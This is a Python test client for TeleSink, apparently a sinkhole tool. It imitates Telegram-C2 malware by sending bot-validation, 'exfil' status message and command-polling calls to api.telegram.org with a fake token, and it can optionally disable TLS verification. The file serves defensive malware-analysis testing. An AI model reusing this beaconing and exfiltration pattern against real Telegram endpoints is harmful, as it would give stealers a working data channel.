Repository navigation
Expand file tree
/
Copy pathtest_client.py
More file actions
108 lines (86 loc) · 4.05 KB
/
Copy pathtest_client.py
File metadata and controls
108 lines (86 loc) · 4.05 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python3
"""
TeleSink test client - a BENIGN simulation of Telegram-C2 malware.
This sends the same Bot API calls a real Telegram stealer/RAT would make
(getMe -> sendMessage -> sendDocument) to api.telegram.org, using a FAKE,
non-existent bot token and chat id. With TeleSink running, those calls get
sinkholed to localhost and the token/chat id are captured.
It does NOT touch the real Telegram. Because the hosts file points
api.telegram.org at 127.0.0.1, every request lands on your local TeleSink.
Run TeleSink first (python telesink.py), then run this on the same VM:
pip install truststore # so Python trusts the Windows cert store
python test_client.py
Notes on TLS:
Real malware uses WinHTTP/WinINET, which trust the Windows Root store where
TeleSink installed its cert. Python's urllib uses certifi instead, so we use
the `truststore` module to validate against the OS store - same as malware.
If `truststore` isn't installed, pass --insecure to skip verification (this
still tests the sinkhole + parsing, just not the cert-trust step).
"""
import argparse
import json
import ssl
import sys
import urllib.parse
import urllib.request
# A clearly FAKE, non-existent bot token + chat id (matches Telegram's format:
# <bot_id>:<35-char auth string> ). Override with --token / --chat-id.
DEFAULT_TOKEN = "8123456789:AAH-FAKEtoken_for_TeleSink_testing_0xDEAD"
DEFAULT_CHAT_ID = "1122334455"
BASE = "https://api.telegram.org"
def build_opener(insecure):
if insecure:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
print("[client] TLS verification DISABLED (--insecure).")
return urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))
# Try to use the OS trust store (Windows Root store) like real malware does.
try:
import truststore
truststore.inject_into_ssl()
print("[client] Using OS trust store via `truststore` (validates TeleSink's cert).")
except ImportError:
print("[client] `truststore` not installed - Python won't trust the Windows store.")
print("[client] Install it (pip install truststore) or re-run with --insecure.")
return urllib.request.build_opener()
def call(opener, token, method, params=None):
"""Make a Telegram Bot API call (GET with query string, like many samples)."""
url = f"{BASE}/bot{token}/{method}"
if params:
url += "?" + urllib.parse.urlencode(params)
print(f"\n[client] -> {method}")
try:
with opener.open(url, timeout=15) as resp:
body = resp.read().decode("utf-8", "replace")
print(f"[client] <- HTTP {resp.status}: {body[:300]}")
return json.loads(body)
except Exception as e:
print(f"[client] !! request failed: {e}")
return None
def main():
p = argparse.ArgumentParser(description="Benign Telegram-C2 simulator for testing TeleSink.")
p.add_argument("--token", default=DEFAULT_TOKEN, help="Fake bot token to use.")
p.add_argument("--chat-id", default=DEFAULT_CHAT_ID, help="Fake chat id to use.")
p.add_argument("--message", default="hello from the test victim", help="Text to send.")
p.add_argument("--insecure", action="store_true",
help="Skip TLS verification (if you don't have `truststore`).")
args = p.parse_args()
print("=" * 60)
print(" TeleSink test client (benign C2 simulation)")
print(f" token : {args.token}")
print(f" chat_id: {args.chat_id}")
print("=" * 60)
opener = build_opener(args.insecure)
# 1) validate the bot (what malware does first)
call(opener, args.token, "getMe")
# 2) check in / exfil a status message
call(opener, args.token, "sendMessage", {
"chat_id": args.chat_id,
"text": args.message,
})
# 3) poll for commands (typical RAT loop)
call(opener, args.token, "getUpdates", {"offset": "0", "timeout": "0"})
print("\n[client] Done. Check the TeleSink console / telesink_run/ for the capture.")
if __name__ == "__main__":
main()